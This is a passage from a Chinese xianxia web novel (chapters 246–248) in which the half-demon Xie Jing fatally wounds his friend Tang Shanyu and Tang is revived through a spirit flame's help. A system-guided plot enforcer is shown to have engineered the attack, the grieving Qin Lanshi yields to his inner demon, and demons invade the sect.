那倒下的身影被谢璟所挡住,不知何处被丢弃的长剑混着血和泥躺在一旁,但是谢璟却在那里哭,他手上沾染上了那个人的血。 魂渐消,留不得。 第246章 成魔 悲剧在发生之前,大家都并不清楚那是如何发生的,它就像一场急雨,急匆匆地来了,来得让人猝不及防。 是意外,或是人为? 但在种种的机缘巧合下,本应是让人欢乐无比的喜剧会在一瞬间变成让人伤心落泪的悲剧。 谢璟的体内混杂着魔血和人血,这样的他好像到了哪里都会是异类。 他的母亲曾笑着说:“我的阿璟啊,你好像哪里都去不得。” “为什么?”年幼的谢璟并不明白母亲这番话的意思,他只是迷茫地抓住母亲的手,因为在那个时候,母亲是他的全世界。 “因为你既不是纯粹的人,也不是纯粹的魔。”母亲的眼睛似如枯水那样平静,她的手轻抚着她的孩子脸蛋,“正因如此,你必须学会成为一个纯粹的人或者魔,只有这样,你才有可能幸福。” “…可是,为什么没有人接受这样的我呢?”谢璟不明白,他伸出手抱住了母亲,母亲在沉默,她很安静,“母亲,你不接受这样的我吗?还有父亲,他也不接受吗?” 母亲在他这天真的话语里笑了,这份笑容里带着泪花,她看上去是笑着笑着就哭了,最后她推开了谢璟,女人用极为温柔的语气说着:“孩子,你该醒过来了。” 在谢璟清醒的时候,他微微一动,突然,他踩到了什么,接着谢璟低头看去,那是一摊血,为什么这里会有血呢? 在此之前他在做什么? 啊,对,他在等人,他在…… 谢璟颤抖地举起手,他看到剑身被血所染红,于是他极为害怕地丢开了这把剑,剑哐当一声落在了地上,和血泥混在了一起。 “…咳……”一声微弱的声音在地上响起,这一声惊得谢璟本能地往后退了一步,但是,他又踉跄地往前走去,然后就那么直直地跪在了地上。 只见唐山玉不知何时满身是血地躺在地上,他有些虚弱地睁开眼看着谢璟,而谢璟看到他这个模样,连忙爬过去,然后伸出手捂住了唐山玉的伤口。 伤口在胸口处,那很明显是剑伤,谢璟往其输送着灵力进去,就这一下,唐山玉身体抖得更加厉害,他又咳了好几口血出来。 而这个时候谢璟才发现自己往里面输送的都是魔气,这无疑加重了唐山玉的伤势,谢璟立马收手了,他开始不知道该怎么办了。 脑袋一片空白,他宁愿此时此刻他在噩梦里,至少那些是假的。 “……谢璟…”唐山玉用了些许力气似乎想要抬起手,但是他好像做不到了,谢璟连忙想要把他抱起来,但却被唐山玉给拉住。 “不了,你这样我死更快,让我多活一会儿吧……”唐山玉这种时候还有闲心调侃,只不过他说着就又吐了几口血:“…你…听着,这件事肯定是有人在背后操控……谢璟……” “你没有…没有错……咳咳咳……”唐山玉猛地又吐出了好几大口血来,他感觉到自己的呼吸渐渐有些难受了,方才那攻击将他整个胸膛都刺穿,再加上那把剑上的暴涨魔气在他体内肆意捣乱,他能够感觉到这些魔气正争先恐后地吸收着他体内的灵力,“…所…所以,你……” 就看是先血流干死,还是先灵力枯竭而死。 “……”谢璟张了张嘴,似乎想要说什么,可他什么都没有说出来,他有在听吗,他能够听得到吗? 唐山玉还想再说什么,可他眼前的意识已逐渐模糊,已经什么都说不出来了,在最后,在他那双眸子失去神采的前一秒,他感觉到一抹温热的东西掉落在自己的脸颊上。 而他在那个时候想要说的是…… 你别哭。 …… 将这一切看在眼里的是站在不远处的胡长乐,她没什么表情地看着,而在她眼里,一个类似于系统窗口的东西飘在她前面,上面正浮现着几行文字,如果秦兰时看到估计会认出这是那本的内容。 [谢璟魔化值已达百分之九十九,恭喜你,宿主,你成功做到了。]机械一样的声音在胡长乐的脑内响起,只不过它却有些疑惑:[根据书上内容,能够让谢璟提高魔化值的,应该只有顾延清才是。] [为何你会对这位唐山玉出手呢?] 不仅出手了,就连这魔化值也在出手的瞬间极速往上飙升。 胡长乐闻言便于脑内回答这个系统的问题:“很简单,因为这个谢璟和书里的谢璟已经不算是同一个人了。” “如果是书里的谢璟,的确只有顾延清才能够破他防,因为那是他唯一在意的对象,当初我就觉得这个任务有点难,毕竟顾延清可是化神后期的大能,对他动手脚有些难了。” 胡长乐一边分析着,一边伸出手指滑动着眼前窗口上的资料,最后滑在了那段对文中谢璟的介绍那里:[谢璟自小便失去父母,浑浑噩噩地度过着在遇见顾延清之前的时光,可在遇到顾延清后,他的眼里便有了光,从此顾延清便成为了谢璟唯一的光。] “但是,我现在很庆幸他的身边除了顾延清还有其他人的存在。”胡长乐说着,那手指轻点着那段文字里的唯一,“这也是我能够顺利完成任务的原因。” [我不明白。] “…只会按部就班地根据书里的内容去做任务,那也太不懂变通了,人心呀,往往容易变得快。”胡长乐无奈地摇了摇头。 “这就好比,你看唐哥…哦不,唐山玉,他被谢璟刺一剑之前可是一点防备都没有……他和秦兰时可是在第一次见我的时候都有些防备呢…” “这说明什么?你猜猜看?” [猜不出。] “这说明,人与人之间的关系是会变的,正如现在这样……如果谢璟是原来的谢璟,唐山玉是原来的唐山玉,那么这一切都不会那么顺利,但是,很可惜,他们都做出了改变。” 胡长乐很是语重心长地说了那么一大段话后,在她说完后不久,她就看见谢璟把那安魂草给拿了出来试图给唐山玉给用上。 “系统,这个东西能用吗?”胡长乐想起唐山玉的身份,某种意义上唐山玉也算是死过一次的人,灵魂是获得过新生的。 [宿主,很遗憾地告诉你,这安魂草对于你们这些穿越异世而来的灵魂没有用。] “……”胡长乐没有再说话了,她只是看着,就那么看着谢璟在发现安魂草也没有用的时候,发出了一声小兽般无助的呜咽。 “…唐哥,你真的是个好人,但是……”胡长乐看着那边的情形,很是长长地叹了口气,随后眼神也逐渐坚定了起来,“我必须要回家。” 剧情是会发生改变的,剧情里的人物也是,有人想要改变主线剧情,那么相对应的,是否会有剧情维护者的存在呢? 而胡长乐就是那个剧情维护者。 胡长乐没有待很久,毕竟赶过来的那些人她不太能打得过,她只能利用这间隙往外跑去,用在谢璟身上的黑石头她不打算收回去了。 不过她没有想到谢璟居然早早深受那魔剑的魔气影响,那些时不时的噩梦仿佛是一场永不停息的呼唤,他就差一次刺激,而这个刺激爆发出来后,便是谢璟成魔之时。 就在胡长乐往外跑的时候,突然,她似是发现了什么,闪身躲在了一个大树后边,她隐去的身形,将自己的气息隐藏到了极致。 “….…怎么突然多了那么多魔族?”她在脑子里急急地拍系统问道,“是书里的那个魔族迎接君主的剧情吗?怎么提前了?” [系统不知道。] “要你何用!”什么任务什么潜伏都是她自己干的,唯一的用处就是给她花积分买功法,还是买!当初那新手大礼包就一个基础功法,她差点就死在新手村了。 [系统不知道。] “你就只会这句是吧?没用的东西,还得看我。”胡长乐这样说着,但在离开的时候,却转头看向了那边的随清宗:“…会没事的吧?” [系统不知道。] “……滚。” 而在另一边,秦兰时他们已经来到了现场,现场的画面实在是太过让人不忍直视,跪在地上哭泣的少年,还有他眼前那具已经失去气息的身体。 几乎是一瞬间的事,秦兰时拔出了剑,他拿着剑极速地来到了谢璟面前,并且面无表情地朝着谢璟身上刺过去,剑上的剑气蕴含着强大的灵力,这一剑刺中,谢璟必死。 而谢璟跪在那里一动不动,任由着那身后的剑锋朝自己扑来。 顾延清见此连忙也冲上前去,他挡在了秦兰时面前,有些着急地道:“兰时!你清醒一点!” “…清醒?我现在很清醒。”秦兰时听到这话歪了歪头,他看着顾延清突然笑了出来:“我就那么一个宝贝徒弟,就这样让你这个徒弟给霍霍没了,你说我该不该杀了他。” 顾延清拿剑的手一顿,随后他叹了口气:“…这件事等查清楚后,我会让你亲自处置…他,但是你现在当务之急应该是先守住本心,不要被心魔给得逞。” 若是秦兰时在这种时候当场入魔,那么后果会更为严重,因为周围人不只有他们,还有许多长老,秦兰时曾经差点入过魔的事情并没有被传出去。 “……哈哈…哈哈哈哈……本心……”秦兰时只觉得好笑,真的很好笑,自己一直小心翼翼地守着自己那没有来临的死劫秘密,就连道侣契都不敢和唐山玉的立下,就是想等一切过去后,他能够好好地活下去后,和唐山玉一起好好地活下去。 他想要和山玉一起活下去。 他不想再活得和以前一样了。 可是为什么……为什么呢?上天仿佛在和他开玩笑,先离开的居然不是他,而是他的爱人唐山玉。 “那我还真就不守这个本心!”秦兰时说着,身上的气息顿时爆发了起来,他转了个剑再度往顾延清身上刺去,顾延清举剑挡住。 心魔的迹象在秦兰时的瞳孔里若隐若现,顾延清看到这一幕只能暗道一声不好,余光里他看了一眼还跪在地上的谢璟,谢璟的神态趋于麻木,就那么看着倒在地上的唐山玉。 “明华,立阵。”顾延清一把用剑割了自己的手掌,任由鲜血滴落在地上,而鲜血滴落后仿佛活了一样流动起来了,一直流动到了秦兰时的脚下。 “是,大师兄。”跟随过来的燕明华听到这话,也当即拿出利刃往手上一抹,顿时鲜血淋漓起来,而鲜血也滴落在地面上,往秦兰时那里流动而去。 以血成阵,困之。 一道阵法就这样把秦兰时困在了里头,而他则拿着剑狠狠地劈在了阵法的屏障上,但是由于施展阵法的俩人修为都比他高,秦兰时用尽全力一剑过去愣是没有破开。 而宋鸠也来到了唐山玉那边,他蹲下来开始查看起唐山玉的伤势,这一查看就暗道不妙,这魔气深入肺腑,早已回天乏术,就算他医术再高超,也救不了已死之人。 这样看着,宋鸠看了一眼重伤唐山玉的那把剑,只一眼便能够窥探到其中的魔气深厚,为何他们之前从未留意到呢? 而现在剑上涌出的魔气仿佛在预示着什么,就连他都因为这魔气而感觉到有些心烦意乱。 “……”宋鸠往唐山玉体内输送着灵力修复着胸口的剑伤,虽说不能起死回生,但是如果能让这具身体看上去有些人样还是可以做得到的。 只是可惜…… 宋鸠抬头看了一眼那边的秦兰时,随后他就不忍再看,而是专心地修复这具已然没有气息的身体。 此时此刻的秦兰时早就听到心魔的呼唤了,那一声声急切的呼唤仿佛要将他的心一点一点地往下沉去:“你干什么吃的!一个人都护不住!” “你行不行啊!这都打不破!那臭小子还活着,快去杀了他啊!” “该死,你用点力啊,没吃饭吗?!” 心魔还在喋喋不休,他的声音听上去很气愤。 “……给你吧。”突然,秦兰时开口了。 “哈?”心魔停住了他这张嘴,有些不明所以地看向他对面的秦兰时。 “我说……这具身体给你吧,我不要了。”秦兰时说起这话来很是轻飘飘的,他看上去很无所谓了。 心魔:…… 虽然结果是好的,但是他怎么就那么不得劲呢? …… 虽然这是他梦寐以求的结果,但是他就是就是很不得劲啊? “你有病吧?!”心魔忍不住骂出声来。 说给就给,那他多年的努力是为了什么?! 第247章 希望重燃 秦兰时有两次没有抵抗心魔,一次是心魔刚刚诞生的时候,那个时候他满脑子都是顾延清是不是看不起自己的愤怒里,他在埋怨,他在自卑,压抑已久的情绪爆发的时候会将他整个人毫不留情地吞没。 而第二次便是现在,空落落的心对于心魔的进入是毫不在意,得到后的失去往往比从未拥有过更加残忍,这也就导致,这次的秦兰时选择先放弃。 心魔就那么看着秦兰时,那种失去未来的感觉似曾相识啊……这不就是过去的模样吗?现在是一朝回到解放前? “呵……”心魔凑上前去,捏起秦兰时的下巴,就那么欣赏了一下,随后他继续道:“这可是你自己说的。” 说完,他轻轻一推,秦兰时身后出现了无数只黑手,这些黑手将秦兰时抓住,捂住口,夺去了他呼唤的声音,捂住耳朵,剥夺了他对外界的听觉,缠绕住他的四肢,控制住他的行动力,最后,眼睛…… 现实里,秦兰时的眼里突闪过一丝狠辣,而顾延清眼睁睁地看着秦兰时将手里的剑横在脖颈处,笑容甜蜜无比,可这一下直接让顾延清撤下了这阵法,这阵法本就要靠俩人施展才有用,顾延清这一放手,秦兰时便有了机会。 只见秦兰时举着剑朝着顾延清冲了过来,发丝肆意张扬于空中散开,俩人之间的灵力冲击掀起了一股急风,站在外边的人都能感觉到这股难以接近的气流。 与此同时,秦兰时的发带在这股气流里断开,随风而去,而他本人则像极了地狱里爬上来的凶神恶煞,乱散的长发极为散漫,眸里全是对这个世道的淡然。 “秦兰时!!”顾延清喊出了声,他看到秦兰时方才横在自己脖颈上处所留下的伤痕,而顾延清方才那声音里没有一丝责怪,全是无奈。 秦兰时没有回答他,而是转手就想要再来一剑,突地,他似是想起什么,他手上的剑一松,接着,就自己直直地朝着顾延清的剑上冲去,顾延清见此猛地后退一步,转动手里剑调转了剑锋。 可那剑气依旧毫不留情地在秦兰时的脸上留下一道伤痕,而那伤痕处正缓缓流下一些血来,只见秦兰时抬手摸了摸,看着指尖上的血,他居然还笑了。 “…你别这样……”顾延清握紧了几分手里剑,他的语气里难得有几分恳求,他在恳求着什么呢?或许是在恳求秦兰时不要这样对自己吧。 “……”秦兰时没有回这句话,但他却开口问出了另一个问题:“大师兄……你相信命运吗?” “……兰时。”顾延清顿了顿,随后道:“我从不信这些……” “是,我最开始也不信……”秦兰时说着说着就又笑了,他眸里的灵力似要被那铺天盖地的魔气所吞噬,“但是我现在却有些信了……” “倘若这一切都是命运……那我为何……”秦兰时往前走了一步,他走向了顾延清,走到了这个承着天道所有的怜惜的主角面前,“为何要经历这些?凭什么是我来经历?顾延清……你说你不信命……” “可这命运仿佛一直在眷顾你。”秦兰时想起那书里的内容,书里的顾延清和他眼前的顾延清重叠在了一起,不知为何,他居然无端地产生出一丝绝望来。 自以为逃脱了书中命运,可却忽视了一点,倘若真要逃离,为何自己却怎么也逃不出这道影子,这道名为顾延清的影子。 为何逃不掉,为何躲不开。 …… 唐山玉感觉自己睡着了,彻彻底底的那种,不知为何,他总觉得自己好像又没睡那么死,整个人身子轻飘飘的,感觉要登仙而去似的。 “醒醒,你已经死了。”一道声音自不远处响起。 “……“唐山玉听到这个熟悉声音,就睁开了眼,四周是一片黑的,接着,他抬头看向了声音的来处,就看到了一小撮火苗在黑暗那里闪烁着。 小火苗飘在空中,身子一晃一晃的,如果唐山玉没有猜错,方才那道声音应该是在这个小火苗上传出。 “……你怎么变成火了?”唐山玉想起之前自己见过的模样,明明之前还是个小金人,怎么到现在变成了一朵小火苗了。 “这是重点吗?你怎么突然就要死了?”小火苗悲愤不已,那语气宛若自己手下员工勤勤恳恳做完大半个工作,文件还没保存呢,公司就突然停电了,“你还记得你答应过我什么吗?” “……这是个意外吧?我也没想过会死……”唐山玉挠了挠头,有些心虚地别开视线,“…咳咳,我是真没有想到谢璟会对我下手…唉,早知道我就不穿谢璟送的衣服了,这样我可能还有活着的机会呢。” 因为谢璟送的那套衣服除了好看,防御方面一点都不实用,单纯只要穿着好看就行了。 “你的心眼呢,都长哪里去了?!当初对我千防万防,现在却挨了自己人一剑!”小火苗急得上跳下窜的,它看上去不满很久了。 “……”唐山玉偏头沉默着,不过他却微微勾了一下嘴角,“嗯,所以呢,你要救我吗?” “…?” “你要求我办的事情已经办到快一半了,你也不想半途而废然后又等上个千年百年吧?”唐山玉抬手比划了一下那把被神焰烧了千千万万遍的剑身,“它还是个孩子呢,你忍心吗?” “人死不能再生,你在做什么千秋大梦呢?”这火苗显然被唐山玉这异想天开的想法给弄得呸了好几口火出来,呸完后又狠狠地继续上跳下窜了起来,“这本就不是人能够做到的事情。” “……”唐山玉低下头,似乎有些沮丧。 “但…也不是没有其他法子……”小火苗看到这一幕,略有不忍,但是更多的还是想起自己辛辛苦苦等的东西还没造好,那造剑人就没了,这样可不行。 “什么办法,你说。”唐山玉闻言眼睛一亮,虽然他就是个虚弱的小破魂,但是架不住他满眼期待啊。 “…这个方法并不全靠我,就是……”小火苗欲言又止,然后就这样给大伙们留下一段谜语。 唐山玉听着听着就愣了一下。 与此同时,在外头的宋鸠还在给唐山玉的身体进行修复,拔除里头的魔气,就感觉到一股灼热感自手心那蔓延而上,下一刻,他本能地因为烫手将自己的手抽离,但他那本应暗淡的双眸里也因这抹燃烧渐渐明亮。 “……你们快过来给我护法!!”宋鸠转头就朝着还在围观的几位药宗长老吼,这一声吼极其有威力,让长老们想起当初炼丹炸炉被训斥的岁月,所以很快他们就急急忙忙地围了过来。 “怎么了?”一位长老急急忙忙过来了,他一边过来一边翻找起自己的护法工具。 “请问我们要如何护法?”因为在医师的护法多种多样,比如如果要扎针就有对攻扎针的护法,若是拔除毒素也有,总结一句,就是术业有专攻。 “我要把灵力输送进去,连通他身体的各个经络,你们给我把他体内的灵力给重新堵住,然后不许放过一丝灵力出来。”宋鸠说完后,就开始着手开始进行了治疗,他一点一点把灵力仔细地输送进去,这种把握度需要非常精细,所以宋鸠额头上开始出现了些许薄薄细汗。 其他长老各站一方,也开始驱动起手上的灵力,开始将空气里头散去的来自唐山玉的灵力给赶回去,并且将这些灵力好好地堵起来。 但是因为将死之人的灵力很容易散去,所以他们驱赶和堵灵力的时候都像在触碰泡沫一样,稍有不慎就会散开,随后再也回不来了。 “我能做的只有为你的身体提供一丝生机。”小火苗在空中飘啊飘,最后摇晃着身子来到了唐山玉,它难得语气有些感慨:“而人类这种生物,他们是最容易绝望的,但同时也是最容易燃起希望的种族。” “只需要一点希望,那么他们就会为此拼尽全力,同时也是他们所践行的医道,生死有命,但……医者就是要争这个命所存在的。” “…你很喜欢人类吧?”唐山玉就算是灵魂也能感觉到浑身的灼热,所以,此时此刻,如果有人要治疗他,可谓是徒手下油锅,不仅如此,甚至还徒手在油锅里炒菜。 对不起,那个不知道是谁的好心医者,总之等他醒过来,他一定花钱买个贵的的润手膏送去的…… “…算是吧。”小火苗顿了顿,又道:“万物有灵,但似乎皆被人所同化,因而总结为通人性,不是我偏爱于人,而是这世间的万物也偏爱于人。” “…所以,你是不是很快就要重新睡过去了。”唐山玉看着小火苗那虚弱的身形,已经开始变透明了。 “……我是为了谁!你这次必须给我好好干活,听到没有!”小火苗说起这个就悲愤不已,于是它连忙喊了好几声:“不许死!你不许再死了!听到没有!!” “如果我再死,你还会救我吗?”唐山玉极为扭捏地凑过去,很是深情地望着这个小火苗。 “…呵呵,那你还是入轮回吧,凭借你我的这份孽缘,我还是可以让你投个好胎的。”小火苗冷笑起来了,现在它已经不是原来求人办事的它,现在的它可是因为自己完成了一半多的工程突然间那员工就不干了的愤怒幽怨老板。 “…我知道了。”唐山玉心想果然如此,不过他也没多少失望,毕竟生命如果太轻了,就会显得过于不重要了,他不敢想如果有人不死不灭,那么这个人到底是怎么活那么多年的…… 谁也说不清楚,这到底是不是好事。 但是人应该珍惜当下。 在外头,秦兰时和顾延清似乎还在争执着,燕明华站在旁边听着听着,就看到了那边的宋鸠有所动作了,只见几个药宗长老唰的一下跑过去,就开始护法。 一般这种情况下,就说明医者在和天夺命了,燕明华很是惊喜,当即就转头朝着还在吵架的俩人……应该是秦兰时单方面吵,顾延清单方面承受,总之她朝那俩人喊道:“你们别吵了!!山玉他还有希望!!” 秦兰时还在吵,他因为心魔染身的情况,已经开始对顾延清输出自己一直以来的不满和不安,甚至还夹杂几句在你眼里我算什么的控诉。 顾延清还在劝,一边劝一边看看能不能用点什么清心的法器给秦兰时给用上,但是秦兰时不给他机会,他此时此刻就像个弟弟耍赖要天上月亮,但是自己却做不到的无助哥哥。 燕明华:…… 这吵架没有人敢上去拦,因为这俩人,在座的长老哪个都惹不起,所以只能干看着,甚至还有人评价了一句:“早就听闻顾剑主宠师弟师妹如命,今日一见,果真如此。” 燕明华闪现过去,然后就抬起手朝着顾延清的后脑勺狠狠来了一巴掌,而秦兰时更是两巴掌,打完后俩人都被打懵了,力度刚刚好,懵逼不伤脑。 “…你?!”秦兰时可以面对顾延清输出,但是面对燕明华却是有些难了,他就这样你了一下,愣是不知道你什么出来。 “你什么你!你徒儿还有救呢!还不赶紧清醒一点,还打呢!伤着了给你徒儿治疗的医师怎么办?!”燕明华说着,又抬起手库库地给了秦兰时的脑袋几巴掌,很显然这其中还有些私人情感。 因为方才秦兰时拿剑要自刎的情景她也看在眼里,她当场就愣在了原地,在她想要上去阻拦的时候,秦兰时就被顾延清给拦下来了。 “我知道徒弟对你很重要……”燕明华说着,就感觉到一种无助感,不知为何,她脆弱起来了,居然觉得心里头有些受伤,“但是你能不能看看我们……” “我们对你来说不是重要的家人吗?” …… 燕明华哭了。 顾延清和秦兰时之间的紧张氛围顿时烟消云散了,并且都开始大眼瞪小眼起来了,一副不知道该怎么办的模样。 而秦兰时的内心自然是乱,因为心魔和魔气一起影响了他此时此刻的思维,但在燕明华这一句话下来后,他开始想起的是自己在没有山玉的日子里是靠什么支撑下去的。 是靠可能等不到的同类? 不,他应该早就放弃了。 山玉的出现算是意外之喜。 那……在这之前呢? …… 其实,他是知道的。 每一个世界里,他想要活下去的动力,都是靠的这个,不管是前世为了家人和病魔努力奋斗也好,还是现在为了家人苦苦在命运里的海水里挣扎。 他总是不愿意去挣脱,那些主动朝他牵上来的手。 而一旦牵上了,他就不舍得松开了。 他本可早些死了去顺了这天意,但总是舍不得,舍不得这个人间,不甘心自己就这样离开,也舍不得让他们哭泣。 所以,为何躲不掉,为何逃不开。 因为他根本就不忍心逃开,一直以来都不过是在自欺欺人。 是他先选择不松手的。 第248章 魔族来袭 这场风波暂且平息了下来,燕明华看着不说话的俩人,抬手擦了擦脸上的眼泪,一边擦还一边道:“既然冷静下来了,就去看看阿鸠那边怎么样吧?” 秦兰时没有再说话,可他依旧手上握着剑,仿佛那能给他带来一丝安全感,顾延清看了秦兰时一眼,叹了口气,转头往唐山玉那边走去。 而此时此刻谢璟还跪在那里一动不动的,仿佛陷入了某种情绪里,而这种情绪隔开了他与外界的联系。 “……”顾延清似乎想要伸出手过去触碰他,但是他又放下来了了,现在还有许多人看着这里,秦兰时身上的那一丝魔化或许还能稍作掩饰过去,可谢璟身上的魔气却是做不得假的。 谢璟,他是魔族。 顾延清的弟子是魔族。 天青剑尊收了个魔族作为弟子。 这些信息还得等稍后再讲,现在当务之急的应该是唐山玉的伤势,虽然不知为何突然又能医治了,但是这说明唐山玉还有救。 “可需要什么药草?”顾延清转头问向宋鸠,宋鸠正在徒手下油锅炒菜呢,一边炒一边……啊不,他正在医治唐山玉,手上的动作压根不带停的,一名合格的医师需要有较强的灵力控制度,而宋鸠恰好在这方面修了个满分。 “……只需要一些普通包扎用的伤药就行了。”宋鸠回了一句,就专心致志地继续为唐山玉治疗,此时此刻他已然满头大汗。 “…那就好……”顾延清松了口气,正想对秦兰时说点什么的时候,突地,他微微瞪大了眼睛,看着秦兰时的身后突然被什么东西撕开了一道裂缝。 而裂缝里头蕴含着强烈的魔气,这魔气就那么汹涌地朝着在座的各位袭来,宋鸠不知道发生了什么,但是他本能地喊道:“不好!不可以让魔气和灵力混在一起!!不然就功亏一篑了。” 只一句,秦兰时便扭头过去将剑刺向了那裂缝了,可他刺了个空,身子也就那么穿着消失裂缝而过。 顾延清见此转了个方向,手中握剑就要朝着那里打过去的时候,他发现那道裂缝居然出现在了谢璟身旁,而谢璟还处于一种屏蔽外界的状态,根本不知道外边发生了什么。 接着,一只手自裂缝里伸出来,轻轻地抚摸上了谢璟的头,接着,一位身穿盛装的女子就那么极为亲昵地将谢璟抱在怀里,宛若母亲抱小孩那般,那女子微微一笑,朝他们打了一声招呼:“诸位好啊,听闻今日贵宗门有场盛宴,便前来看看。” 说着,周围的魔气又浓郁了几分,与此同时,一把长刀划破虚空而来,竟直直地朝着那群长老而来,长老们实力不够避之不及,就见燕明华冲上前去,手举琵琶,灵力随音而至,直直地冲到那刀的面前,抵挡住了这次攻击。 “哪有这样无礼的客人。”燕明华转了一下琵琶身,眯眼看着来者,只见那人也自裂缝中而来,身着盔甲,红缨如血,女人拿着长刀站在跟前,浑身的杀意让人似是直面修罗。 “……别和他们废话,直接带走。”女人毫不客气地再次挥舞着长刀而来,燕明华再次挡在了众人面前,而顾延清也转身举着剑朝着谢璟后边的女人刺去。 可这一剑却刺了个空。 女人带着谢璟消失在了原地,下一瞬,顾延清抬起头,看到她用黑水将谢璟捆住飘在空中,而她本人则散漫地坐在树上,甚至还有闲情逸致地整理一下头上的步摇。 “抱歉啊,顾尊者,虽然你的脸也很好看,要不是为了我们家大人的伟业,我还想和你多聊聊呢~”尹离郁晃了晃垂下的双腿,随后她指尖把玩着几枚铜板,在她微微一侧手下,那铜钱掉落下来后竟然化作几只恶鬼朝着众人扑来。 顾延清见此便将它们一剑劈开,可劈开后女子却不见了的身影,只留几声铃铛般的笑声于空中散了开来。 而秦兰时似有所觉地抬头看向了某个方向,那是一座宗门内寻常无比的山峰,可那山峰上此时此刻却站着一只魔物,魔物的背上站着一个人,那人也似有所觉地往这里看了过来。 是江易年。 魔域的魔主为什么会出现在这里? “你们来我随清宗是有什么事?”另一边,苏岭月手持利剑站至堂前,他眸里正倒映着对手的身影,那是一位脸上布满黑痕的诡异男子。 “我们来找个东西。”那男子倒也没选择和苏岭月打起来,而是先与其友好地交流了一下,“早就听闻苏宗主大名,今日一见果真不同凡响,我都能感觉到那空气里的寒冰……” “差点就要钻进我的口鼻里,刺穿我的胸膛了呢。” “此地不是你们可以来的。”苏岭月举起剑微微自空中一划,凛冽的剑气就那么直冲着男子的脑门而来,在这一剑后,四周都结满了冰,桌子椅子还有房屋都被这强大的寒气给冻住。 男子挥了挥袖子,也拿出他的剑,在他挥出一道骇然的血色剑气后,那剑气便与那冰雪碰撞起来,很快,四周的冰因为这一强悍的撞击下破碎开来,而一起破碎的还有那些桌椅。 “……”苏岭月没有再挥剑,而是就这样看着眼前的男子。 那男子收起了剑笑道:“对嘛,别总是打打杀杀的,这样不死不休对我们能有什么好处呢?” “你们要找什么?我不记得我们随清宗有什么值得你们惦记的好东西,法器都是用纯净灵力操控的,你们这些肮脏的魔气可用不上。”苏岭月冷漠地看着他,手上的剑微微往上抬了一下,似是做好挥剑的准备。 “别那么凶。”男子摆了摆手,一副不想打的模样,“魔族当然是来找魔的啦,你应该知道我说的是什么,对,就是那个半血孩子。” “…我听说似乎是你们先不要他的?”苏岭月瞥了他一眼。 “别,那可是西荒那边干的,我们可不背锅。”男子听到这话连忙摆了摆手,“不过只是个半血,那的确很不重要,可重要的是,他可是我们魔剑无极的主人。” “……”苏岭月闻言微微一愣,随后又继续淡定地看着他,好像自己并不刚刚知道那样。 “你们没看出来也正常,谁知道那是把拥有着神剑外壳的魔剑呢?”男子继续说着,然后就换了个话题,“哎呀,不行,说太多了可不好,抱歉,我们继续聊聊别的?” “…不聊便战吧。”苏岭月果断抽出剑,毫不留情地朝那男子冲了过去,此时他是有些疑惑的,因为男子的实力似与他不相上下,可他活那么久也没发现那么个厉害人物。 不应当啊…… 凡是突破到他这个境界的,天地皆有异象,就算是在魔界也逃不了天道的眼睛,不仅如此,问天门那个老家伙也没和他说过类似的话。 所以魔域的这个家伙到底是从哪里冒出来的,莫不是魔界的新魔尊……但他并没有获得魔界有魔尊的信息…… 难不成现在魔界高层的信息都藏那么严实了吗?不应该呀,那群魔族魔修只看重利益,轻而易举就会选择背叛,诺言在魔界里头是最不值钱的。 轻诺重利。 贪婪无耻。 …… 任何贬义的词汇都能与魔族魔修沾上点关系,只因为自古以来便是如此,而魔族魔修这一词就囊括了所有,所以在正道里头,他们有时候骂人用不出其他词汇了,就会用你是魔族吗?你是魔修吗?这种反骂回去…… 就像骂你是否是畜生那样难听。 不管如何,他们既然敢闯随清宗应当是做足了准备,既如此就没必要手下留情了。 苏岭月这样想着,手上的剑也就更快了些,与此同时,江易年正在安抚着身下有些躁动的魔物,突地,他愣了一下,就朝某个方向看去,只不过一眼,他就继续做自己的召唤魔物的事情去了。 而在那个方向的树林里头,孟江离正被一个人狠狠地甩在了旁边的树上,直直撞飞了几棵树她才停下来,而她抬头一看,发现那个人不知所踪,下一刻,她就地一滚,一条鞭子就那么狠狠地打在了她所在的地方。 霎时间,那些树木因为这一鞭子开始冒起了诡异的绿色气体,很显然这鞭子上有毒,而这对是体修的孟江离有些不利。 来者随意披着件长袍搭在身上,他较为平静地看着孟江离,话也不说,却只是一味地挥鞭而至,孟江离闪身躲过去,接着拔起旁边的大树输送着灵力朝着那人身上丢过去。 那人见此又打了一鞭子,树木霎时间断裂开了,就在此时,又是好几棵树木朝着他猛冲而来,在他举着鞭子来了几下后,就发现孟江离已然不在原地。 下一瞬,他猛地转了一下身,一只戴着铁拳套的拳头就那么狠狠地伴随着急风呼了过来,拳套上还有在锋利的尖刺,若是被打到估计整张脸都会烂掉。 俩人简单过了一下招,谁也不让谁,本来孟江离是感应到魔物的存在想要过来处理掉的,但是半路上却来了个拦路虎,她不得不先处理这个家伙。 “…哼。”只见这男子轻哼一声,就果断抽出带毒鞭子狠打过去,孟江离开始躲闪,可在躲的过程中,漫天飞舞的绸带将她的后路给困住,哪有人打架既狠辣又漂亮的? 现在孟江离总算是见识到了,而她也开始犯难了起来,轻飘飘的绸带比锋利坚硬的鞭子难打很多,因为手感就是轻飘飘的。 得多费些功夫了。 孟江离于原地摆好了姿势,她轻轻呼气,化拳为掌,引气动流,将似水绸带通过气拍开,随后掌间聚风,往前轻轻一拍,那绸带顿时被她拍得往后凹下去。 男子倒也不急,他一手控制绸带一手挥舞着鞭子,就那么朝着孟江离袭来,反正他又不是非要打个你死我活。 与此同时,随清宗多地出现裂缝,魔物争先恐后地从里面挤出来,江易年处于召唤阵法中间,急流里头,一道金光朝着他所在的方向冲去,而江易年身侧的魔物当场展开双翼为江易年挡住了这金光。 金光击在了翅膀上,燃起一丝焦黑气体,只见江易年看也不看就来了一句:“撕了他。” 只见那飘动的金色罗盘在空中晃了晃就重新回到了梁均的手上,梁均拿着罗盘,一手召唤出几个金光闪闪的法器,其中的灵力散发着纯净的光芒。 “召唤那么多魔物是想要把我随清宗给砸了吗?知不知道……这些要多少钱?”梁均越想越气,知不知道这年头建筑材料有多贵啊,你就使劲砸吧,不是自家人不心疼啊。 而跟在梁均后边的是几位管理护宗阵法长老,其中一位女长老开口道:“已经有不少长老赶至裂痕处,正用阵法防止魔物出来。” “梁阁主,此乃最大阵眼,击之可破。”另一位男长老早就唤出他的法器,眼睛正死死地盯着那江易年,“魔族真是狂妄,这地方可不是你们该来的。” 话音刚落,众长老齐齐使出自己的手段,朝着那魔物和江易年攻去,霎时间,随清宗四周各有各的战斗。 